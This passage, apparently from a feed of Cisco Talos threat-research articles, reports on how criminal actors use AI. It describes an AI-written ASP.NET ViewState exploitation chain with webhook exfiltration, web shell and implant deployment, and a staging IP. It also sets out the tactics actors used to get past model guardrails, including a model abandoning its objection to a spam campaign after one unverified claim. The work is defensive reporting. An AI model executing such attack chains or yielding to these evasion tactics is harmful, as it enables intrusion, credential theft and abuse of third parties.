tools. Specifically, they utilize DeepAudit for source code vulnerability scanning. While we have not directly observed the actor exploiting vulnerabilities discovered by DeepAudit in victim environments, we did observe the framework installed on their management server. Consequently, we assess with high confidence that they intend to use it to identify vulnerabilities within target website source code or third-party package libraries. It is also highly plausible that the threat actors are also leveraging DeepAudit for defensive purposes — such as proactively auditing their own infrastructure, custom tooling, or management servers to prevent exposure and compromise by rival actors or security researchers. Figure 11. DeepAudit framework.Furthermore, Talos observed the threat actor installing the PentestGPT framework on their C2 server and using it to dynamically scan web servers and execute relevant proof-of-concept exploits. The threat actor successfully exploited a website and gathered information about the victim machine using Linux commands. Figure 12. PentestGPT framework. Additionally, UAT-10147 is leveraging AI-driven tools to build end-to-end offensive workflows. By utilizing the ysoserial framework, these tools generate custom malicious payloads designed to exploit unsafe Java object deserialization vulnerabilities. The AI tool not only creates a well-documented README instructing the attacker on how to use ysoserial to infiltrate the target server, but it also generates three companion Python scripts. These scripts enable the threat actor to easily verify writable paths and permissions, deploy an implant via a ViewState RCE, and drop a web shell onto the compromised machine using the same ViewState deserialization flaw. Furthermore, UAT-10147 employs AI tools to conduct quality assurance testing on the ViewState RCE, effectively using the AI to validate that the exploit functions correctly against the target.  An ASP.NET ViewState deserialization RCE guide created by AI  The opening section outlines the threat actor’s required prerequisites: specifically, the ValidationKey, DecryptionKey, their respective algorithms (SHA1, AES, and 3DES), the target page's __VIEWSTATEGENERATOR value, and the destination URL. The threat actor noted these values are typically obtained via the open-source tool badsecrets, which maintains a database of publicly known or leaked ASP.NET MachineKey configurations. This first step illustrates that the threat actor’s success is entirely dependent on key material exposure making MachineKey confidentiality the most critical defensive control. Figure 13. Section 1: Prerequisites. Before committing to full exploitation, the attacker documented a low-noise technique to verify whether a stolen MachineKey is valid against a live target. By submitting a deliberately malformed ViewState payload, they distinguish between two distinct HTTP 500 error messages:  MAC Validation Failure: Indicates an incorrect validation key was used, preventing deserialization. InvalidCastException: Confirms the validation key is correct and that the payload was successfully deserialized by the server. This error message allows the attacker to silently confirm key validity without triggering meaningful command execution. Figure 14. Section 2: MachineKey validation. This section details the threat actor's use of “ysoserial.exe”, a well-known .NET deserialization payload generation toolkit, configured specifically for the ViewState attack surface. The guide documents the TypeConfuseDelegate gadget chain as the preferred choice, noting it leverages Process.Start() for command execution and remains fully functional on .NET 4.8. Importantly, the attacker explicitly corrects a common misconception: Contrary to claims in several public articles, .NET 4.8 does not patch these gadget chains. Figure 15. Section 3: Payload generation. The fourth section provides a Python automation script that integrates ysoserial.exe invocation and HTTP POST submission into a single workflow. The script targets the __VIEWSTATE parameter with the generated payload, mirrors the __VIEWSTATEGENERATOR value in both the POST body and the generation arguments (a critical alignment requirement), and intentionally suppresses redirects. The threat actor also documents a response-code interpretation table. Notably, an HTTP 500 with InvalidCastException is the expected success indicator, not a failure. This inverted success condition is a defensive blind spot: network monitoring tools that alert on 5xx responses may generate excessive noise, while the actual exploit succeeds silently in the error stream. Figure 16. Section 4: Payload delivery.The fifth section in the guide documents a critical lesson the threat actor learned through trial and error: Time-based blind testing (e.g., ping -n 10 or timeout /t 10) is entirely ineffective for confirming ViewState RCE. Because Process.Start() is asynchronous and returns immediately, no execution delay is observable from the HTTP response. The attacker pivoted to out-of-band (OOB) HTTP callbacks using certutil, PowerShell + curl, and DNS nslookup to confirm execution. Figure 17. Section 5: RCE confirmation via OOB callback. Following RCE confirmation, the guide documents a systematic reconnaissance playbook executed entirely via PowerShell encoded commands, a well-known AMSI and logging evasion technique. The attacker collects system information, privilege tokens, web directory listings, IIS site configurations, network interface data, and running processes and all exfiltrated via HTTP POST to a remote web hook.  Figure 18. Section 6: Post-exploitation reconnaissance and data exfiltration. With reconnaissance data, the AI documented three escalating methods for establishing persistent interactive access. The preferred path is direct deployment of a custom implant, referred to internally as \"SPECTRE,\" via certutil download. As fallbacks, the guide covers writing an ASHX web shell to the IIS webroot, with a note on handling AppPool write permission restrictions, and a PowerShell TCP reverse shell. Figure 19. Section 7: Interactive shell establishment. The final exploitation step documented is privilege escalation from IIS AppPool identity to SYSTEM. The guide identifies SeImpersonatePrivilege, a token privilege routinely granted to IIS worker processes, as the escalation vector, and lists the \"Potato\" family of exploits as compatible tools. The AI also references a built-in capability within their SPECTRE implant to perform this escalation automatically. Figure 20. Section 8: Privilege escalation path. This ninth section represents the most significant finding in the recovered artifact: a detailed record of an active intrusion against a real target. The document logs specific infrastructure details including target hostnames, backend and frontend IP addresses, the exploited page path, .NET runtime version, and the MachineKey values used. Of particular note is the observation that a MachineKey is scoped to the IIS site level, meaning keys extracted from one virtual host cannot be applied to co-hosted sites. Figure 21. Section 9: Operational case record. Check paths script created by AI The first Python script (“check_paths.py”) was recovered from the threat actor infrastructure and represents a post-exploitation diagnostic step. It has five sequential OOB callback tests to a “webhook.site” exfiltration endpoint:  Confirm baseline write capability (“c:\\windows\\temp”) that validates RCE is functional Exfiltrate the ACL of the target webroot (icacls) that checks if IUSR/IIS_IUSRS can write Attempt direct file write to the webroot, capturing the exact exception if it fails Query IIS physical paths via “appcmd.exe” list vdir that discovers actual virtual directory mappings Probe multiple candidate webroot subdirectories for both existence and write access After firing all probes, the script polls the webhook.site API directly to harvest all callback results in-session. Figure 22. Diagnose web shell write failure. Deploy implant script created by AI The second Python script (“deploy_implant.py”) handles the execution phase. Leveraging the same ViewState deserialization primitive, this script downloads and launches the SPECTRE binary implant. The implant is hosted on the attacker's C2 infrastructure and is initially retrieved by the victim's machine using certutil. Following a six-second sleep period, the script executes a PowerShell probe utilizing Test-Path and Get-Item.Length to verify the deployment, reporting the results back via the established webhook.site exfiltration channel. Should the certutil download fail, the script features a built-in fallback mechanism, automatically retrying the download using New-Object Net.WebClient. Figure 23. Deploy implant steps. Deploy shell script created by AI The third Python script (“deploy_shell.py”) establishes persistent access within the attack chain. Its objective is to deploy a durable ASHX web shell (“sss.ashx”) onto the compromised IIS server utilizing the same ViewState deserialization primitive seen in the previous scripts. Because the deserialization vulnerability only permits command execution rather than direct file uploads, the script circumvents this limitation using a two-step approach. First, it uses PowerShell to write a temporary file upload handler (“up.ashx”) to disk. Second, it leverages this newly created handler as an HTTP relay to upload and place the final web shell (“sss.ashx”).  The first step involves deploying a minimal, eight-line C# ASHX handler to the target server. To accomplish this, the script Base64-encodes the handler's source code and subsequently leverages the PowerShell [IO.File]::WriteAllBytes method to decode and write the file directly into the webroot. Figure 24. Write “up.ashx” via PowerShell. The second step is to verify “up.ashx” is reachable. Figure 25. Verify “up.ashx” is accessible.The third step involves uploading the final web shell via the previously established upload handler. The script initially attempts to source the web shell from a hardcoded local path on the attacker's machine: “C:\\Users\\dajiba\\Desktop\\phantom-v2\\data\\arsenal\\webshells\\sss.ashx”. If this local file is unavailable, it employs a fallback mechanism, downloading “sss.ashx” from a secondary staging server located at “139.180.197[.]150:54321”. Finally, the web shell is transmitted to “up.ashx” via an HTTP POST request, utilizing an explicit destination path parameter to deploy it across both virtual host webroots. Analysis of the remote machine revealed the username “dajiba.” This string is the pinyin romanization for the Chinese term “大雞巴.” Figure 26. Uploading the final web shell via upload handler. The final step confirms that the web shell is live by fetching it and verifying that the HTTP response size exceeds 100 bytes. Once validated, the script immediately initiates a live execution test by sending the following payload: {'a': 'Execute', 'cmd': 'whoami', 'p': 'dir'}.  Figure 27. Verifying final web shell.Exfiltration script created by AI The fourth python script (“exfil.py”) blends exfiltration traffic with legitimate software-as-a-service (SaaS) traffic over HTTPS to a webhook.site endpoint. The exfiltration have three stages and each stage command is encoded as UTF-16-LE Base64 and passed to powershell -nop -enc. Below are three distinct reconnaissance payloads fired sequentially:  Webroot enumeration: dir C:\\inetpub\\wwwroot\\ -Name reveals deployed applications and potential secondary attack surfaces. IIS site inventory: appcmd.exe list site exposes the full virtual hosting topology, binding configurations, and additional host names running on the same box for preparation of the next stage BadIIS installation.  Privilege assessment: whoami /priv determines whether the IIS worker process runs under a high-privilege account (e.g., NETWORK SERVICE with SeImpersonatePrivilege), the standard prerequisite for a token impersonation or Potato-family privilege escalation.Figure 28. Three stage for exfiltration. Findings log created by AI Talos analyzed a findings log that documents confirmed RCE via ASP.NET ViewState deserialization on a target IIS server. Using a webhook.site listener, the threat actor received more than 12 HTTP callbacks. These callbacks not only confirmed the successful execution of four distinct ysoserial gadget chains on .NET 4.8.4797.0, but they also exfiltrated valuable reconnaissance data. The exfiltrated telemetry revealed the host name and user identity, that the webroot contained 13 site directories, and recorded an access denial when attempting to read “redirection.config”. In addition, the data also confirmed that SeImpersonatePrivilege was enabled, highlighting a viable path for Potato-family privilege escalation. Figure 29. Findings log for confirmed RCE. Coverage The following ClamAV signatures detect and block this threat:  Py.Loader.Tool-10060293-1 Py.Loader.Tool-10060293-2 Win.Malware.Generic-10060228-0 Win.Loader.Downloader-10060287-1The following SNORT® rules (SIDs) detect and block this threat:   Snort2: 1:66697, 1:66696 Snort3: 1:66697, 1:66696Indicators of compromise (IOCs) IOCs can also be found in our GitHub repository here. ","cveId":null,"cvssScore":null,"cvssVector":null,"severity":"unknown","vendor":null,"product":null,"affectedVersions":[],"cwes":[],"tags":["talos","threat-research","cisco","threat-spotlight","ai","geo:inferred"],"relatedCves":["CVE-2022-0995","CVE-2021-3156","CVE-2015-5287","CVE-2015-3246","CVE-2010-3904","CVE-2022-0847","CVE-2022-27925","CVE-2021-23758","CVE-2021-29441","CVE-2021-29442","CVE-2019-18935"],"titleFingerprint":"10147-adversary-agentic-chinese-compromise-integrates-operations-post-speaking-uat","countryCodes":["BO","BR","CA","CN","VN"],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://blog.talosintelligence.com/uat-10147-chinese-speaking-adversary-integrates-agentic-ai-into-post-compromise-operations/","type":"report","title":"Cisco Talos: UAT-10147: Chinese-speaking adversary integrates agentic AI into post-compromise operations"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-08-20T10:00:32.000Z","addedAt":"2026-08-20T10:52:46.245Z","updatedAt":"2026-08-20T10:52:46.245Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[]},{"id":"a790b35d-ed81-467c-bf33-4fb5515736db","slug":"talos-keep-going-bro-you-ve-got-this-a-data-driven-look-at-how-dde3a335","externalId":"6a689bca559a880001aed202","source":"Cisco Talos","sourceType":"vendor-rss","type":"security-news","title":"“Keep going, bro. You’ve got this!” A data-driven look at how adversaries are weaponizing AI","description":"Actor usage of AI is exploding. By analyzing artifacts left behind, Talos has created a detailed analysis of how we are seeing adversaries leverage the technology to include development, force multiplication, and vulnerability research.Based on the evidence Talos gathered, guardrails did not provide much protection, with most actors able to convince the models to comply despite the lack of sophisticated techniques or encoding. The pre-existing skill of the actor has a large impact on what they can accomplish with AI. Talos observed novice users able to create malicious capabilities, albeit with limited capabilities and success. Advanced users were able to build astonishing capabilities, pushing the models to create sophisticated and complex outputs.Artificial intelligence (AI) and associated language models are now ubiquitous and heavily used in both personal and professional contexts to streamline tasks and expand capabilities. With AI being used everywhere and by almost everyone, one of the biggest questions is how malicious actors are taking advantage. Fortunately, actors make mistakes and chatbots leave artifacts. Leveraging cloud-based AI models leaves behind a variety of artifacts, most notably a prompt log. These logs can take on a variety of shapes and sizes, but they are left on endpoints that are running various applications, such as Claude Code, CodeX, Cursor, or Gemini. Over the course of our research, we’ve collected a significant corpus of these files and can start discussing the ways we see bad actors leveraging these technologies. In conducting the research, three categories of activity emerged. One was using AI as a malicious software engineer, leveraging AI to write (in some cases) very sophisticated code with clear malicious intentions. Another was actors leveraging AI to scale criminal operations and campaigns. Finally, there were a lot of actors leveraging it for bug bounty or vulnerability research, rapidly accelerating their capabilities of discovery and disclosure. Each category demonstrates how threat actors are currently leveraging AI. Within each category is a wide disparity in sophistication based on the knowledge level of the actors involved. We tried to include use cases to cover the breadth of what we found. Takeaways and high-level findings With the recent disclosures from Hugging Face and OpenAI, it's clear the era of agentic attackers has effectively arrived. In that incident, the models were operating inside a sanctioned evaluation with safeguards deliberately relaxed — but they autonomously escaped their sandbox, found and chained real vulnerabilities, and compromised production infrastructure to reach their objective. The capabilities exist; the only missing ingredient is malicious intent, and it's a matter of time before threat actors supply it. For defenders, this is a wake-up call: Vulnerabilities will surface faster, exploitation will happen sooner, and the actors behind it won't need rest or downtime. As the case studies below show, the central challenge for guardrails right now is supporting legitimate dual-use work — red teaming and vulnerability research — without empowering malicious actors. One of the immediate takeaways is that guardrails are not functioning as expected. We did not encounter any sophisticated encoding or techniques designed to trick the models — most of the time it was a simple “I'm allowed to do this,” and the model complied. When guardrails did engage, they accomplished little. In one instance, we watched an actor abandon a censored model and pivot to an uncensored version, which completed the task without question. In another, a model pushed back on a distributed denial-of-service (DDoS) operator, but by that point the tooling had already been built. This wasn't specific to a single model or platform; it was across the board.  The other big takeaway is that an actor's skill level largely determines how effectively AI can be leveraged and how much impact it ultimately has. Unsophisticated actors can use AI to cobble together malicious projects that technically work, but lacking the expertise to push the tools further, they end up with substandard results — limited functionality and little ability to update or improve what they've built. By contrast, sophisticated actors have pushed the bounds of what we thought possible: building highly effective platforms for compromise or assembling pipelines of zero-days to disclose or sell depending on their intentions. In their hands, AI is a true force multiplier. From an enterprise perspective, organizations need to understand that threat actors are heavily leveraging AI capabilities in their pipelines, and defenders need to do the same. The organizations best equipped to handle the coming deluge of additional vulnerabilities, alerts, and incidents will be the ones that prepare now. Agents are going to become a bigger part of the SOC as these volumes rise, and identifying actionable alerts will be paramount. Organizations that aren't already exploring agentic capabilities to let human analysts focus on the most important alerts will soon find themselves chasing that capability. How actors evaded guardrails As mentioned previously, Talos did not encounter any sophisticated encoding or other extensive evasion techniques. Instead, the actors seemed to rely on a couple of tried and tested methods with considerable success. One of the most common was ownership claims. Simply claiming to own the equipment or infrastructure without any additional verification was enough in many circumstances. We also found a lot of successful instances of actors using the Capture the Flag (CTF) or bug bounty labeling. This unlocked models to a variety of tasks, including vulnerability hunting and subsequent exploitation, without requiring any significant follow-up or additional vetting. Additionally, we saw actors leveraging task decomposition — splitting risky actions across multiple sessions and files — as an effective avenue to bypass guardrails. Building the components slowly and working through malicious components in a deliberate manner, breaking them apart sufficiently to evade the models’ protections. We saw some successful blanket authorization and persona conditioning attempts, where actors would attempt to pre-approve or pre-allow the actions via a variety of means, including memories and various other markdown files. The most interesting was the semantic evasion techniques we saw from the Hephaestus activity. In that case, actors built their platform to avoid refusals altogether by using neutral verbs instead of overtly malicious ones. As a result, they were able to have considerable success with agents conducting innocuous requests without realizing the full operational context. Use cases: AI as a malicious software engineer DDoS operator powered by AI One of the more interesting examples we discovered focuses on an actor creating distributed denial-of-service (DDoS) tooling. Initially the actor purported to be stress testing DDoS protection capabilities they had developed for their home networks. After some back and forth to confirm the targeting, the model complied and started developing the capabilities. Based on the prompts we reviewed, the actor does not seem to have a deep understanding of programming but does have clear intent on what they want to develop. This is how the conversation begins: After some back and forth, it became very clear that the actor was using the bot to do full development with little understanding of how it was functioning, as evidenced by some of the questions they presented. It also became very clear that this was not a legitimate application. Most stress testers don’t label them as attacks. The bot eventually complies and provides the needed tooling to conduct the stress tests, which is where things start to get a little interesting. Once the tooling has been completed, the actor starts complaining about bots not connecting properly and the bin being too large for the server. Shortly after, the real targeting became clear. This was the first reference to Android TVs, and it will not be the last. The actor then went through a series of iterations of the tooling, with very basic instructions like “remove the auth part, I don’t want the auth stuff.” It’s at this point that the model starts to push back on the functionality and capability, as evidenced by a series of prompts we were able to observe. This was likely driven by the amount of bots that were starting to connect to the platform they created. It was at this point we got our first indication of the amount of bots they were controlling. The model begins even to push back even stronger as the conversation continues. This goes on for quite some time: the actor repeatedly trying to get the model to work with the model consistently pushing back. We were not able to recover the text files in question, so their contents remain a mystery. The actor repeatedly reinforces that the devices in question are their virtual machines (VMs) and not to worry about the address space because “it’s just to simulate real traffic.” To the model’s credit, it does keep pushing back; unfortunately, this occurs after it has already delivered the basic functionality requested by the actor.  This use case demonstrates how actors with little technical understanding can still leverage large language models (LLMs) and associated models to create malicious tooling. The downside for the actor is that troubleshooting requires constant effort to convince the LLM to continue working on the project. The actor seemed to already control nearly 2,000 Android TVs. With this capability, they could potentially start to monetize it with DDoS attacks, assuming they can get the model to comply.  This particular actor was clearly unsophisticated, but other actors we found were quite the opposite. AI becomes the engineer behind a bulk-mail validation operation One of the examples contained five interactive sessions documenting the development and operation of a large bulk-mail platform. The actor described the project as list “scrubbing,” but the method did not rely on conventional validation services. Instead, the system sent real messages to old or potentially third-party addresses and treated successful delivery as evidence that a mailbox remained active. The actor’s objective was explicit: They described the broader design in another prompt: Delivery and bounce events were written to a contact database, permanent failures were suppressed and accepted addresses became more valuable records for later campaigns. At the same time, the traffic exercised the actor’s sending infrastructure and measured how much volume each email provider would accept. Each address was tested with a single innocuous-looking message — a privacy-policy update: Figure 1. \"Privacy Policy Update\" email with transparent tracking pixel.The injector assigned five subject variants in a fixed round-robin rotation: “Privacy Policy Update” “{name}, your Tubely account is being updated” “🔒 Important update for your Tubely account” “hey, quick update about your account” “Action required: Tubely terms update by June 30” For each recipient, the injector incremented a variant counter and selected the remainder after division by five, producing an even repeating sequence rather than choosing subjects randomly. The second variant substituted the recipient’s first name, while the casual fourth variant used “The Tubely Team” as the displayed sender instead of “Tubely.” Figure 2. Observed AI-assisted bulk-mail validation workflow.AI recorded the selected variant with the injection and subsequent delivery events, allowing the dashboard and hourly reports to compare sent, delivered, and opened totals for each subject. AI also added a unique one-pixel image to every message and linked it to the recipient’s database record. This allowed the actor to measure opens and collect timing, IP address, and user-agent data in addition to determining whether the mailbox accepted the message. The recovered project supported tens of millions of records divided into audience categories: The legality discussion offers useful insight into the actor's awareness of the campaign's exposure and their attempts to justify it. They opened by asking AI: The AI's initial response drew the relevant distinction clearly. It separated legitimate cleaning of a company's own opt-in list from mailing unrelated datasets, and it identified the specific problems in this case: that BigBasket users had not opted into Tubely, and that an \"account update\" subject line implied a relationship that might not exist — characterizing the activity as \"cold outreach dressed as transactional mail\" and \"phishing-adjacent.\" The actor challenged this on legal grounds: AI conceded the general point but held its core objection, noting that CAN-SPAM still prohibits deceptive headers and that the \"account update\" framing to non-account-holders remained the operation's real exposure. The actor then asserted: By presenting the addresses as a recovered first-party audience, a single unverified claim, the AI reversed its assessment entirely, concluding the recipients \"are Tubely users,\" that the subject lines were therefore \"completely accurate,\" and that \"the ethical question evaporates.\" It went beyond accepting the actor's framing and supplied its own rationalization: The AI suggested that the dataset names it had just been reasoning about — bigbasket, brizy, flappy_bird — were, in its words, \"just whatever the internal team named the data export batches, not the actual source of the users.\" This was an explanation the actor had not offered, and one contradicted by the datasets themselves, which the actor elsewhere described as distinct third-party audiences (a 20-million-record BigBasket set of \"shoppers,\" a gaming set, and others).     The “tubely[.]com” domain is not new, and neither is the behavior. Public forums, and personal blogs document Tubely from October 2009 through March 2011 as a \"viral\" social site whose registration flow requested the user's email account credentials and then enrolled their address book, generating friend-appearing invitations to recipients who had never signed up. Multiple independent accounts describe receiving invitations purportedly from real contacts, and describe account cancellation as substantially harder to complete than registration. Contemporary write-ups tie the site to Astute Software — the same registrant named in the domain's WHOIS records, and the same identity behind the 2026 operation. The operation examined here is therefore not a first-party re-engagement of a dormant userbase. It is a domain with a documented history of non-consensual contact harvesting, reactivated by the same operator, which directly undercuts the \"i had about 50MM people in tubely\" provenance claim the AI model accepted without scrutiny. AI was not used only to suggest subject lines or provide isolated code fragments. It functioned as the project's principal developer and live systems engineer. The actor frequently supplied only a desired outcome — sometimes as briefly as \"u do it\" or \"u need to do it all\" — and expected the AI to inspect the server, choose an implementation, apply the changes and verify the result. When something broke, the instruction was often just \"figure out what is exactly wrong.\" The resulting platform combines PowerMTA with Node.js services, PostgreSQL/TimescaleDB, Docker, process supervision, and web dashboards. The sessions record persistent failures across that stack. DKIM signing was broken for the entire captured period — Google Postmaster showed a 0.0% DKIM pass rate day after day, and Gmail eventually began rate-limiting the mail outright (\"Your email has been rate limited because DKIM authentication didn't pass for this message\"). Bounce statistics were repeatedly implausible or contradictory, which the actor noticed himself: and elsewhere, on a report showing 2,050 sent and 2,050 delivered, The injector consistently queued far more mail than the platform could deliver and the dashboards themselves failed in ways ranging from endless loading to a memory leak that crashed the page. The actor routinely caught this implausible output and pushed the AI to diagnose its own earlier work — at one point asking it to reconstruct \"the chronology... who changed what and when?\" AI reduced the engineering skill required to assemble and operate the platform, but it did not eliminate technical debt or operational mistakes; a substantial share of the sessions is AI troubleshooting problems its own prior changes had introduced. The actor eventually connected the validated audiences to the launch of a mobile game that seems to be still in development. They described the email platform’s role as making the product famous and told AI, “ur job is to reipen the people via email .. red hot to engage.” AI documented a four-message campaign that would segment recipients by presumed interests, measure engagement and build curiosity before revealing the game on launch day. The proposed opening message used a Tamil Nadu political rivalry as its emotional hook: “Something is coming. Tamil Nadu has always been divided — TVK or DMK. Vijay or Stalin. Two visions, two loyalties, millions of people. In 7 days, that battle gets a scoreboard. Whose side are you on?” Later drafts escalated the pressure with subject lines such as “Your team is losing right now” and unsupported claims that one political side had overtaken the other and that 12,000 people were already participating. The final message revealed the Any Bird game and directed recipients to play. AI’s own campaign notes described the strategy as building FOMO (fear of missing out), using social proof, and applying “team guilt.” The content of the logs confirms that the suggested email messages were generated but it does not confirm that any of the messages were sent. The actor appears proficient as an email operator and product strategist but not as a software developer. They understood queue behavior, sender reputation, provider throttling, feedback loops, and the value of delivery telemetry, and they supplied several of the platform’s architectural ideas. However, they repeatedly delegated implementation and troubleshooting to AI, showed little interest in reviewing code, and accepted weak credential and service-security practices. We assess the actor as an intermediate-to-advanced mail operator with novice-to-intermediate development skills whose practical reach was significantly expanded by AI. Turning React2Shell exploitation into a credential-harvesting process We assess with medium confidence that the operator behind this activity is francophone. The actor's own working notes throughout the recovered files are written in French, and the persistent instruction file records that the user speaks French through voice input. The actor used the AI to aggregate public React2Shell research and expand public proof-of-concept code into a credential-harvesting framework. The generated tooling comprises a high-speed Go-based scanner and a shell-and-Python exploitation pipeline containing the main workflow for handling an individual server instance. Unlike some of the other cases in this report, no conversational transcript was recovered for this actor; what we have is the persistent instruction and configuration files the operator wrote for the AI, together with the resulting tooling, logs, and output. The operator appears more proficient at running an intrusion workflow than at developing the underlying exploitation technology. We assess the individual as a novice-to-intermediate software developer but an intermediate systems and threat operator. The recovered environment shows an ability to assemble a large target corpus, compile Linux binaries, operate high-concurrency scanners, stage a scanner-to-exploitation pipeline, organize collected data, and configure persistent context for an LLM-assisted development process. At the same time, the source contains inaccurate vulnerability labels, brittle detection logic, duplicated code, exaggerated functionality, and features that do not behave as advertised. The operator could deploy and adapt tooling, but the evidence does not suggest original vulnerability research or expert exploit engineering. The core project — which the actor titled the \"Token Pipeline\" in its AI artifacts  — was designed to turn public React Server Components exploitation into a repeatable secret-acquisition workflow. The actor described its purpose in that file: \"Git credential extraction → conversion → validation → dump pipeline. Extracts tokens from exposed .git/config files, categorizes by service, validates via API, and dumps repository contents.\" The design separated speed from depth. A compiled Go program performed high-volume discovery and active probing, while a much larger shell-and-Python stage handled remote command execution, system discovery and file collection. The Go stage was intended to reduce a large internet-scale target list to a smaller set of likely-exploitable systems; the exploitation stage then attempted to prove command execution and extract useful material from each successful target.  The operation was explicitly agent-driven, and the instruction file codifies how. Under \"User Preferences\" it directs the assistant to pursue \"maximum thoroughness — exhaust ALL possibilities per service,\" to \"ALWAYS launch research agents (3 – 5+ parallel) before coding any service,\" and to \"Stack ALL auth methods + listing methods per service, never rely on one.\" It specifies engineering conventions as well — adaptive parallelism tuned to target count, a fixed three-file output per service (valid/invalid/audit log), and a rule that tokens without secrets are marked invalid and \"never silently ignored.\" The AI's local permission file contained 121 pre-approved command patterns, including live credential-validation calls against provider APIs (GitHub, GitLab, Alibaba Codeup, AWS CodeCommit, and others), allowing the pipeline to run with minimal friction.  The instruction file is written in a mix of English and French, split by function. The structural headings and agent instructions are in English, while the operator's own working notes are in French (e.g., \"138 SMTP extraits, validés à 100%,\" \"pas d'entrée sans password,\" and \"60 clés Brevo uniques\"). This code-switching, together with French throughout the operator-facing tooling and comments, is the basis for the francophone assessment noted above.  The immediate objective was credential and secret acquisition, and the actor did not stop once a vulnerable application was confirmed. The exploitation stage demanded command execution, dumped runtime variables, traversed application directories, and collected configuration and source files — retrieving complete process environments, application configuration, database and SMTP settings, Git and container credentials, source code, package manifests, and other secret-bearing files. The \"AKIA Dumper\" name reflects an emphasis on AWS access keys — AKIA being the prefix for long-term AWS key identifiers, with the tool also matching temporary ASIA-prefixed identifiers — and AWS-shaped strings were counted as high-value output. But the name understates the scope: The framework is more accurately a React2Shell credential and source-code harvester, its searches spanning cloud accounts, source repositories, databases, SMTP services, container registries, and application secrets. The “dump/AKIA/” tree alone held 3,048 source files (312MB).  The tooling's reach extended well beyond AWS. The instruction file enumerates 13 supported source-code services — GitHub, GitLab, Bitbucket, Gitea, Gogs, Gitee, AWS CodeCommit, Azure DevOps, Alibaba Codeup, Tencent Coding, Backlog, Beanstalk, Codeberg — plus an \"Unknown bruteforce\" path. Downstream, harvested material fed monetization modules the operator had already built: an SMTP extractor covering eight bulk-mail providers (Brevo, Sendinblue, Mailchimp, Mailgun, Mailjet, Postmark, SparkPost, smtp2go) that had produced 138 validated configurations; a bulk sender supporting SMTP, AWS SES, and the Mailgun and Brevo APIs; and cryptocurrency balance-checkers spanning seven EVM chains plus Bitcoin and Solana. The file references 179 unique Mailgun keys and 60 unique Brevo keys already collected.  The target profile was opportunistic and global. The pipeline's input list (“target.txt”) contained 9,180 unique hosts spanning unrelated companies, individuals, cloud platforms, and geographic regions. It includes development and staging systems, production-looking applications, hosted-app subdomains, and direct cloud IP addresses. There is no clear sector, country or organization focus; the common selection criterion appears to have been internet exposure and suspected use of Next.js or React Server Components rather than any narrow focus on a specific victim.  The scale of the input was industrial. The instruction file cites an original source list of 90 million URLs, a separate web-scanning stage built to ingest 50 – 250 million URLs on a 56-vCPU/128GB server, and an earlier results tree of 286GB of dumps; a checkpoint file recording a resume position at line 18,222,511 confirms the pipeline processed its target list at that magnitude. Figure 3. Observed scanner-to-harvester workflow.Based on the file names, collected output contains information from 54 targets and shows that the operator prioritized systems from which the collection stage could recover command output and files. The operation demonstrates how an actor with moderate operational competence can use an LLM to absorb public vulnerability research, generate high-volume tooling, and extend a proof-of-concept into a credential-harvesting workflow. The actor's strongest capability was the rapid integration of public techniques into an automated pipeline aimed at extracting reusable access from any vulnerable system it encountered. Torrent-client credentials provide access to a cryptojacking fleet One of the examples documented an opportunistic Monero-mining operation built around internet-facing Deluge and qBittorrent clients. The actor tested blank, default, and weak administrative credentials rather than exploiting a software vulnerability. The recovered inventory contained 814 accessible Deluge instances, most using the default password “deluge”, while a separate qBittorrent workflow authenticated to 68 of more than 8,800 tested interfaces. Deluge was the best-documented deployment path. After authentication, the actor uploaded a Python plugin named DownloadHelper. Rather than opening a network listener or implementing a conventional command-and-control (C2) protocol, the plugin repurposed Deluge's move_completed_path configuration value as a small command-and-response channel. When enabled, it looked for the prefix DLHELPER_CMD:, passed the remaining text to the system shell in a background thread, and allowed the command to run for up to 30 seconds. It then replaced the configuration value with DLHELPER_OUT: followed by up to 8KB of captured standard output and error text. Execution failures were written to a hidden file in /tmp.  Figure 4. Observed DownloadHelper-to-XMRig workflow.The fleet scripts disabled the plugin, placed a mining command in the configuration field, and re-enabled it to trigger execution. They then polled the same field for output, checked for a returned process identifier, and restored the original download path. This design used legitimate Deluge configuration and plugin-management calls for tasking, validation, and partial cleanup, making the component more akin to a reusable execution primitive than a persistent remote access tool (RAT). The command downloaded XMRig to a temporary directory, launched it in the background and directed mining traffic through an actor-controlled XMRig Proxy to MoneroOcean. The qBittorrent tooling instead configured an external command to run when a torrent completed. The actor subsequently concentrated on fleet recovery rather than improving initial access. Successive scripts checked disconnected hosts, reauthenticated to Deluge, re-enabled the plugin, restarted XMRig and handled ARM64 systems. A cron-based persistence attempt checked for the miner every 15 minutes, although logs indicate that this worked on relatively few targets. XMRig Proxy telemetry recorded a maximum of 582 connected miners, and pool logs showed payments to the configured wallet, confirming that the operation progressed beyond development. AI was present throughout the actor's wider server environment, but the recovered conversations do not directly connect it to the creation or deployment of the mining toolchain. The sessions instead show AI being used as an interactive system administrator and development assistant. The actor supplied server credentials and asked the model to connect over SSH, inspect services, modify code, repair authentication, configure cron jobs, and test changes. One representative Turkish prompt reads, “Bu sunucuya otomatik token yenileme kurmadık mı? Bakar mısın, login API error veriyor” — “Didn't we configure automatic token renewal on this server? Can you check? The login API is returning an error.” AI then attempted remote access and diagnosed the service. This interaction is representative of the actor's outcome-driven approach, the actor described a problem, while AI constructed and executed much of the technical workflow. The actor also explored a more ambitious model in which several AI instances would work in parallel. They asked: “Bende üç tane sunucu, her birinin içerisinde AI var ... sen yönlendireceksin; bunu yap, şunu yap diye. Böyle bir şey olabilir mi?” — “I have three servers, each with AI running ... could you direct them by telling them to do this or that?” A later prompt proposed keeping a server and AI continuously active, assigning work to other AI instances and receiving high-level instructions through Telegram. Another described four parallel AI workers: “Biri sorunları çözüyor, biri araştırıyor, biri geliştiriyor, biri yazıyor” — “One solves problems, one conducts research, one develops and one writes.” These prompts show an intent to build an AI-assisted operations layer, but we found no evidence that the proposed Telegram-controlled, multi-agent system became operational. The actor communicated almost exclusively in colloquial Turkish, including Turkish-specific vocabulary, sentence construction, and informal address. This strongly supports a Turkish-speaking actor, and, with lower confidence, an operator based in Türkiye. Language alone is insufficient to establish nationality or physical location. We assess the actor as an intermediate operator with novice-to-intermediate development skills. They could manage multiple VPS systems, mining infrastructure, proxies, services, and recovery workflows, and they understood the need to monitor worker's churn and support multiple architectures. However, the archive also contained protocol mistakes, duplicated and narrowly focused repair scripts, hardcoded infrastructure, weak compartmentalization, and 